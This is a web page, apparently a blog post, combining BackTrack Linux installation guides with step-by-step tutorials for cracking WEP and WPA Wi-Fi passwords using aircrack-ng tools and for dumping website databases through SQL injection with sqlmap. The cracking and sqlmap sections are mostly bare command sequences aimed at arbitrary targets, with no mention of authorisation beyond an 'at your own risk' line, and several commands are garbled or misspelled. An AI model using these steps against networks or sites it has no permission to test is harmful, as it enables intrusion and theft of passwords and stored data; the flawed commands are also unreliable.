Install Backtrack to VMWare (with VMWware tools)

Install BackTrack in VMWare.

1. Follow the basic install instructions here to get BackTrack installed in a VMware machine.
2. Log into BackTrack. To install the VMWare drivers, the kernel source and headers need to be in place. By default in the BackTrack 4 final release, the kernel (denoted by {version} ) is configured and ready. However in some cases, you might need to make sure you have the latest kernel sources by typing in:
 apt-get update apt-get install linux-source cd /usr/src tar jxpf linux-source-{version}.tar.bz2 ln -s linux-source-{version} linux cd linux zcat /proc/config.gz > .config make scripts make prepare
3. Now that your kernel sources and headers are in place, run the “Install VMWare tools” for the specific guest VM.
4. Mount the VMWare tools virtual cd, copy over the VMWare tools package and run the installer:
mount /dev/cdrom3 /mnt/cdrom cp /mnt/cdrom/VMwareTools-{version}.tar.gz /tmp/ cd /tmp/ tar zxpf VMwareTools-{version}.tar.gz cd vmware-tools-distrib ./vmware-install.pl
5. Complete the VMWare tools installation as required. Run “fix-splash” to reintroduce the green framebuffer console. Reboot.

Install BackTrack Live to USB (Unetbootin)

BackTrack Live USB Install

This method of getting a live install to a USB drive is the simplest available using Unetbootin. Note that we will format the USB drive and erase its contents.

1. Plug in your USB Drive (Minimum USB Drive capacity 2 GB)
2. Format the USB drive to FAT32
3. Download Unetbootin from http://unetbootin.sourceforge.net/
4. Start Unetbootin and select diskimage (use the backtrack-final ISO)
5. Select your USB drive and click “OK” for creating a bootable BackTrack USB drive
6. Log into BackTrack with the default username and password root / toor.

BackTrack Dual Boot Installation

BackTrack Dual Boot Install with Windows (Tested on Win 7)

This method of installation is the simplest available. The assumption is that the you have a Windows installation taking up all the space on your drive, and you would like to resize and repartition your drive to allow a BackTrack install alongside your Windows. BACK UP YOUR WINDOWS INSTALLATION FIRST.

1. Boot BackTrack on the machine to be installed. Once booted, type in “startx” to get to the KDE graphical interface.
2. Double click the “install.sh” script on the desktop, or run the command “ubiquity” in console.
3. Select your geographical location and click “forward”. Same for the Keyboard layout.
4. The next screen allows you to configure the partitioning layout. The assumption is that we are resizing the Windows 7 partition and installing BackTrack on the newly made space.
5. Accept the installation summary and client “Install”. Allow the installation to run and complete. Restart when done.
6. Grub should allow you to boot both into BackTrack and Windows.
7. Log into BackTrack with the default username and password root / toor. Change root password.
8. Fix the framebuffer splash by typing “fix-splash” ( or “fix-splash800″ if you wish a 800×600 framebuffer), reboot.

How to Install BackTrack to Hard Disk

Hard Drive Install

BackTrack Clean Hard Drive Install

This method of installation is the simplest available. The assumption is that the whole hard drive is going to be used for BackTrack.

1. Boot BackTrack on the machine to be installed. Once booted, type in “startx” to get to the KDE graphical interface.
2. Double click the “install.sh” script on the desktop, or run the command “ubiquity” in console.
3. Select your geographical location and click “forward”. Same for the Keyboard layout.
4. The next screen allows you to configure the partitioning layout. The assumption is that we are deleting the whole drive and installing BackTrack on it.
5. Accept the installation summary and client “Install”. Allow the installation to run and complete. Restart when done.
6. Log into BackTrack with the default username and password root / toor. Change root password.
7. Fix the framebuffer splash by typing “fix-splash” ( or “fix-splash800″ if you wish a 800×600 framebuffer), reboot.

How to Crack Wifi WEP Backtrack 5

1. What is WEP ? 

Wired Equivalent Privacy

From Wikipedia, the free encyclopedia

Wired Equivalent Privacy (WEP) is a security algorithm for IEEE 802.11 wireless networks. Introduced as part of the original 802.11 standard ratified in September 1999, its intention was to provide data confidentiality comparable to that of a traditional wired network.^[1] WEP, recognizable by the key of 10 or 26 hexadecimal digits, is widely in use and is often the first security choice presented to users by router configuration tools.^[2][3]

Although its name implies that it is as secure as a wired connection, WEP has been demonstrated to have numerous flaws and has been deprecated in favor of newer standards such as WPA2. In 2003 the Wi-Fi Alliance announced that WEP had been superseded by Wi-Fi Protected Access (WPA). In 2004, with the ratification of the full 802.11i standard (i.e. WPA2), the IEEE declared that both WEP-40 and WEP-104 "have been deprecated as they fail to meet their security goals".^[4]

2. How to crack WEP With BackTrack 5 Revolution ? 

-airmon-ng start wlan0

-airodump-ng mon0

-airodump-ng -c --bssid -w mon0

-aireplay-ng -1 1 -a (bssid) mon0

-aireplay-ng -2 -a bssid mon0

-aircrack-ng test.cap 

How to crack a WPA encypted wifi Network with Backtrack 5

1.What is Wi-Fi Protected Access?

Wi-Fi Protected Access

From Wikipedia, the free encyclopedia

Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) are two security protocols and security certification programs developed by the

 Wi-Fi Alliance to secure wireless computer networks. The Alliance defined these in response to serious weaknesses researchers had found in the previous system,

 WEP (Wired Equivalent Privacy).^[1]

WPA (sometimes referred to as the draft IEEE 802.11i standard) became available around 1999 and was intended as an intermediate measure in anticipation of the 

availability of the more secure and complex WPA2. WPA2 became available around 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

A flaw in a feature added to Wi-Fi, called Wi-Fi Protected Setup, allows WPA and WPA2 security to be bypassed and effectively broken in many situations.^[2]

2. How to use Backtrack 5 Revolution to crack Wpa-Psk with Dictionary? 

- Open a Terminal 

-type arimon-ng start (your Wireless interface)

-airodump-ng mon0 (ex)

-Find Target and type CTRL +C to stop airodump

-remember his BSSID and Channel ( CH)

-airodump-ng -c 6 --bssid F4:EC:38:AB:35:BC -w (name of .cap file type test(ex)) mon0  (Your  interface )

-Capture HANDSHAKE AND you are ready to do next Step

-aircrack-ng test.cap -w (Your dictionary file)

SQL Injection with Backtrack 5 Tutorial

SQL Injection with Backtrack 5 [Tutorial] : 

1. What is SQL Injection ? 

-An SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a poorly designed website to perform operations on the database (often to dump the database content to the attacker) other than the usual operations as intended by the designer. SQL injection is a code injection technique that exploits a security vulnerability in a website's software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typedand unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

In operational environments, it has been noted that applications experience, on average, 71 attempts an hour.^[1] When under direct attack, some applications occasionally came under aggressive attacks and at their peak, were attacked 800–1300 times per hour

2. How To use SQL on Backtrack 5 Revolution ?

1. Open Terminal and go to sqlmap Dir: 

- cd /pentest/web/scanners/sqlmap/

2. To use it type :

-python sqlmap.py -u http://Target.com/index.php?id=1 --dbs ( For database )

-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) --table

-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) --colum

-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) -C (columname) --dump 

3. Remember :-

If you decide on this course of action you do so entirely at your own risk